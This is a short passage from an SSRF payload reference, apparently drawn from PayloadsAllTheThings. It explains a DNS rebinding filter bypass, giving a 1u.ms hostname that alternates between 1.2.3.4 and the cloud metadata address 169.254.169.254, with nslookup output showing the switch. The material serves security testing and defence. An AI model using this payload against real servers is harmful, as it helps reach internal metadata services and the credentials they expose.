Server Side Request Forgery · passage 12 of 53

Bypass Using DNS Rebinding

2 code blocks · Server Side Request Forgery/README.md

For testing systems you own or are authorised to test, and for defending them. Nothing here is run by this page.

Create a domain that change between two IPs. * [1u.ms](http://1u.ms) - DNS rebinding utility For example to rotate between `1.2.3.4` and `169.254-169.254`, use the following domain:

make-1.2.3.4-rebind-169.254-169.254-rr.1u.ms

Verify the address with `nslookup`.

$ nslookup make-1.2.3.4-rebind-169.254-169.254-rr.1u.ms
Name:   make-1.2.3.4-rebind-169.254-169.254-rr.1u.ms
Address: 1.2.3.4

$ nslookup make-1.2.3.4-rebind-169.254-169.254-rr.1u.ms
Name:   make-1.2.3.4-rebind-169.254-169.254-rr.1u.ms
Address: 169.254.169.254

Every one of the 53 is a mark on the map. Named now: 1 to 26, reading order first.

Zoom in on the map and the dots under the middle of it are named where they are.

Data as of 2026-11-15. CVE List through 2026-11-15 · EPSS of 2026-11-15 · CISA KEV checked 2026-11-15. Source: PayloadsAllTheThings by Swissky and contributors, MIT License. For authorised testing only.